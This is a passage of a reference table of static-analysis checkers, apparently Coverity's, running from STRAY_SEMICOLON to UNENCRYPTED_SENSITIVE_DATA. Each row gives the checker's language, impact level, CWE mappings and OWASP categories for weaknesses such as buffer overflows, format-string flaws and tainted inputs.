| STRAY_SEMICOLON | Stray semicolon | Control flow issues | PHP | A misplaced semicolon is a common typo that can cause unexpected changes to the flow of control in the program that results in logical errors. | Medium | Quality | 670 | 438, 670, 691, 699, 888, 907, 977, 1000 | ||
| STREAM_FORMAT_STATE | Not restoring ostream format | API usage errors | C/C++ | The next output operation may not expect the stream format state being altered, resulting in incorrectly formatted output. | Medium | Quality | None | |||
| STREAM_FORMAT_STATE | Not restoring ostream format | API usage errors | Objective-C/C++ | The next output operation may not expect the stream format state being altered, resulting in incorrectly formatted output. | Medium | Quality | None | |||
| STREAM_FORMAT_STATE | Unknown mask in setf | API usage errors | C/C++ | Usually this error is caused by an analysis imprecision, but a true bug may indicate an incorrect mask. | Medium | Quality | None | |||
| STREAM_FORMAT_STATE | Unknown mask in setf | API usage errors | Objective-C/C++ | Usually this error is caused by an analysis imprecision, but a true bug may indicate an incorrect mask. | Medium | Quality | None | |||
| STRING_NULL | String not null terminated | Memory - illegal accesses | C/C++ | The function may iterate past the end of the buffer looking for a null terminator. | High | Quality, Security | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| STRING_NULL | String not null terminated | Memory - illegal accesses | Objective-C/C++ | The function may iterate past the end of the buffer looking for a null terminator. | High | Quality, Security | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| STRING_OVERFLOW | Copy into fixed size buffer | Security best practices violations | C/C++ | The string operation will write past the end of the fixed-size destination buffer if the source buffer is too large. | Low | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| STRING_OVERFLOW | Copy into fixed size buffer | Security best practices violations | Objective-C/C++ | The string operation will write past the end of the fixed-size destination buffer if the source buffer is too large. | Low | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| STRING_OVERFLOW | Destination buffer too small | Memory - corruptions | C/C++ | The source buffer may be a string larger than the destination buffer, causing buffer overflow. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| STRING_OVERFLOW | Destination buffer too small | Memory - corruptions | Objective-C/C++ | The source buffer may be a string larger than the destination buffer, causing buffer overflow. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| STRING_OVERFLOW | Buffer overflow | Memory - corruptions | C/C++ | The source buffer may be a string larger than the destination buffer, causing buffer overflow. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| STRING_OVERFLOW | Buffer overflow | Memory - corruptions | Objective-C/C++ | The source buffer may be a string larger than the destination buffer, causing buffer overflow. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| STRING_SIZE | Unbounded source buffer | Memory - corruptions | C/C++ | The string operation can write past the end of the fixed-size destination buffer if the source buffer is too large. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| STRING_SIZE | Unbounded source buffer | Memory - corruptions | Objective-C/C++ | The string operation can write past the end of the fixed-size destination buffer if the source buffer is too large. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| SW.* | Parse semantic warning | Parse warnings | C/C++ | There may be a loss of precision if the Coverity parser misinterpreted the code in the function. | Low | Quality | None | |||
| SW.* | Parse semantic warning | Parse warnings | Swift | There may be a loss of precision if the Coverity parser misinterpreted the code in the function. | Low | Quality | None | |||
| SWAPPED_ARGUMENTS | Arguments in wrong order | API usage errors | C/C++ | The function call will not have its intended effect. | Medium | Quality | 683 | 227, 559, 573, 628, 683, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| SWAPPED_ARGUMENTS | Arguments in wrong order | API usage errors | C# | The function call will not have its intended effect. | Medium | Quality | 683 | 227, 559, 573, 628, 683, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| SWAPPED_ARGUMENTS | Arguments in wrong order | API usage errors | Java | The function call will not have its intended effect. | Medium | Quality | 683 | 227, 559, 573, 628, 683, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| SWAPPED_ARGUMENTS | Arguments in wrong order | API usage errors | Objective-C/C++ | The function call will not have its intended effect. | Medium | Quality | 683 | 227, 559, 573, 628, 683, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| SWAPPED_ARGUMENTS | Arguments in wrong order | API usage errors | Visual Basic | The call will not have its intended effect. | Medium | Quality | 683 | 227, 559, 573, 628, 683, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| SYMFONY_EL_INJECTION | Symfony EL injection | Medium impact security | PHP | An attacker may be able to alter the behavior of the program or run malicious code. | Medium | Security | 74 | 17, 18, 19, 20, 74, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 844, 845, 868, 872, 876, 883, 888, 896, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| TAINTED_SCALAR | Untrusted array index read | Insecure data handling | C/C++ | The array index could be controlled by an attacker, leading to reads outside the bounds of the array. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted array index read | Insecure data handling | Objective-C/C++ | The array index could be controlled by an attacker, leading to reads outside the bounds of the array. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted array index write | Insecure data handling | C/C++ | The array index could be controlled by an attacker, leading to writes outside the bounds of the array. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted array index write | Insecure data handling | Objective-C/C++ | The array index could be controlled by an attacker, leading to writes outside the bounds of the array. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted value as argument | Insecure data handling | C/C++ | The argument could be controlled by an attacker, who could invoke the function with arbitrary values (for example, a very high or negative buffer size). | Medium | Quality, Security | 20 | 17, 18, 19, 20, 118, 119, 130, 137, 171, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 845, 851, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted value as argument | Insecure data handling | Objective-C/C++ | The argument could be controlled by an attacker, who could invoke the function with arbitrary values (for example, a very high or negative buffer size). | Medium | Quality, Security | 20 | 17, 18, 19, 20, 118, 119, 130, 137, 171, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 845, 851, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted loop bound | Insecure data handling | C/C++ | An attacker could control the number of times the loop iterates. | Medium | Quality, Security | 606 | 17, 18, 19, 20, 118, 119, 130, 137, 171, 228, 237, 240, 254, 388, 389, 606, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 845, 851, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted loop bound | Insecure data handling | Objective-C/C++ | An attacker could control the number of times the loop iterates. | Medium | Quality, Security | 606 | 17, 18, 19, 20, 118, 119, 130, 137, 171, 228, 237, 240, 254, 388, 389, 606, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 845, 851, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Use of untrusted scalar value | Insecure data handling | C/C++ | The unscrutinized value may be incorrectly assumed to be within a certain range by later operations. | Medium | Quality, Security | 20 | 17, 18, 19, 20, 118, 119, 130, 137, 171, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 845, 851, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Use of untrusted scalar value | Insecure data handling | Objective-C/C++ | The unscrutinized value may be incorrectly assumed to be within a certain range by later operations. | Medium | Quality, Security | 20 | 17, 18, 19, 20, 118, 119, 130, 137, 171, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 845, 851, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted pointer read | Insecure data handling | C/C++ | The pointer value could be controlled by an attacker, leading to reads from arbitrary memory locations. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted pointer read | Insecure data handling | Objective-C/C++ | The pointer value could be controlled by an attacker, leading to reads from arbitrary memory locations. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted pointer write | Insecure data handling | C/C++ | The pointer value could be controlled by an attacker, leading to writes to arbitrary memory. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_SCALAR | Untrusted pointer write | Insecure data handling | Objective-C/C++ | The pointer value could be controlled by an attacker, leading to writes to arbitrary memory. | Medium | Quality, Security | 129 | 17, 18, 19, 20, 118, 119, 129, 130, 137, 171, 189, 228, 237, 240, 254, 388, 389, 633, 635, 693, 699, 700, 703, 707, 711, 722, 726, 728, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 844, 845, 851, 867, 868, 872, 874, 875, 876, 877, 878, 880, 883, 884, 888, 889, 890, 896, 900, 907, 961, 970, 975, 990, 993, 994, 1000, 1003, 1005, 1008, 1012, 1019, 1020 | ||
| TAINTED_STRING | Format string vulnerability | Insecure data handling | C/C++ | An attacker could craft a format string containing unexpected formatting directives and force a buffer overflow, which may be used to take control of the application. | Medium | Quality, Security | 134 | 17, 18, 19, 20, 74, 116, 133, 134, 137, 171, 254, 633, 635, 693, 699, 700, 707, 711, 722, 726, 727, 734, 738, 742, 743, 746, 747, 750, 751, 800, 808, 844, 845, 865, 868, 872, 876, 877, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| TAINTED_STRING | Format string vulnerability | Insecure data handling | Objective-C/C++ | An attacker could craft a format string containing unexpected formatting directives and force a buffer overflow, which may be used to take control of the application. | Medium | Quality, Security | 134 | 17, 18, 19, 20, 74, 116, 133, 134, 137, 171, 254, 633, 635, 693, 699, 700, 707, 711, 722, 726, 727, 734, 738, 742, 743, 746, 747, 750, 751, 800, 808, 844, 845, 865, 868, 872, 876, 877, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| TAINTED_STRING | Use of untrusted string value | Insecure data handling | C/C++ | The string may be incorrectly assumed to not contain certain metacharacters or element names in later operations. | Medium | Quality, Security | 20 | 17, 18, 19, 20, 254, 635, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 868, 872, 876, 883, 888, 896, 907, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| TAINTED_STRING | Use of untrusted string value | Insecure data handling | Objective-C/C++ | The string may be incorrectly assumed to not contain certain metacharacters or element names in later operations. | Medium | Quality, Security | 20 | 17, 18, 19, 20, 254, 635, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 868, 872, 876, 883, 888, 896, 907, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| TAINTED_STRING_WARNING | Format string warning | Security best practices violations | C/C++ | A non-constant format string can potentially be exploited by a user to take control of the application. | Low | Quality | 134 | 17, 18, 19, 20, 74, 116, 133, 134, 137, 171, 254, 633, 635, 693, 699, 700, 707, 711, 722, 726, 727, 734, 738, 742, 743, 746, 747, 750, 751, 800, 808, 844, 845, 865, 868, 872, 876, 877, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| TAINTED_STRING_WARNING | Format string warning | Security best practices violations | Objective-C/C++ | A non-constant format string can potentially be exploited by a user to take control of the application. | Low | Quality | 134 | 17, 18, 19, 20, 74, 116, 133, 134, 137, 171, 254, 633, 635, 693, 699, 700, 707, 711, 722, 726, 727, 734, 738, 742, 743, 746, 747, 750, 751, 800, 808, 844, 845, 865, 868, 872, 876, 877, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| TAINT_ASSERT | Untainted assertion violation | High impact security | C# | The computed taint is overridden. Unsafe uses of this value will not be reported as further security defects. | High | Security | None | |||
| TAINT_ASSERT | Untainted assertion violation | High impact security | Java | The computed taint is overridden. Unsafe uses of this value will not be reported as further security defects. | High | Security | None | |||
| TOCTOU | Time of check time of use | Security best practices violations | C/C++ | An attacker could change the filename's file association or other attributes between the check and use. | Low | Quality, Security | 367 | 17, 18, 361, 362, 367, 635, 691, 699, 700, 734, 743, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 884, 888, 894, 900, 907, 977, 988, 1000, 1003 | ||
| TOCTOU | Time of check time of use | Security best practices violations | Objective-C/C++ | An attacker could change the filename's file association or other attributes between the check and use. | Low | Quality, Security | 367 | 17, 18, 361, 362, 367, 635, 691, 699, 700, 734, 743, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 884, 888, 894, 900, 907, 977, 988, 1000, 1003 | ||
| UNCAUGHT_EXCEPT | Uncaught exception | Error handling issues | C/C++ | If the exception is ever thrown, the program will crash. | Medium | Quality | 248 | 17, 18, 227, 248, 388, 389, 438, 691, 699, 700, 703, 705, 710, 711, 728, 730, 734, 744, 746, 844, 851, 854, 868, 876, 878, 880, 884, 887, 888, 889, 907, 961, 962, 977, 978, 1000, 1001, 1003, 1008, 1012 | ||
| UNCAUGHT_EXCEPT | Uncaught exception | Error handling issues | Objective-C/C++ | If the exception is ever thrown, the program will crash. | Medium | Quality | 248 | 17, 18, 227, 248, 388, 389, 438, 691, 699, 700, 703, 705, 710, 711, 728, 730, 734, 744, 746, 844, 851, 854, 868, 876, 878, 880, 884, 887, 888, 889, 907, 961, 962, 977, 978, 1000, 1001, 1003, 1008, 1012 | ||
| UNCHECKED_ORIGIN | Unchecked origin of message event | Medium impact security | JavaScript | An attacker can send arbitrary data via event messages, which may lead to DOM-XSS or other injection-based client-side security issues. | Medium | Security | 346 | 17, 18, 254, 264, 284, 345, 346, 361, 632, 635, 664, 693, 699, 700, 711, 723, 724, 888, 892, 898, 899, 907, 944, 949, 975, 984, 1000, 1003, 1008, 1011, 1014, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a cookie | High impact security | C/C++ | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a cookie | High impact security | C# | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a cookie | High impact security | Java | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a cookie | High impact security | Objective-C/C++ | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a cookie | High impact security | Swift | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a database | Medium impact security | C/C++ | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a database | Medium impact security | C# | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a database | Medium impact security | Java | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a database | Medium impact security | Objective-C/C++ | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a database | Medium impact security | Swift | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a file | Low impact security | C/C++ | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a file | Low impact security | C# | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
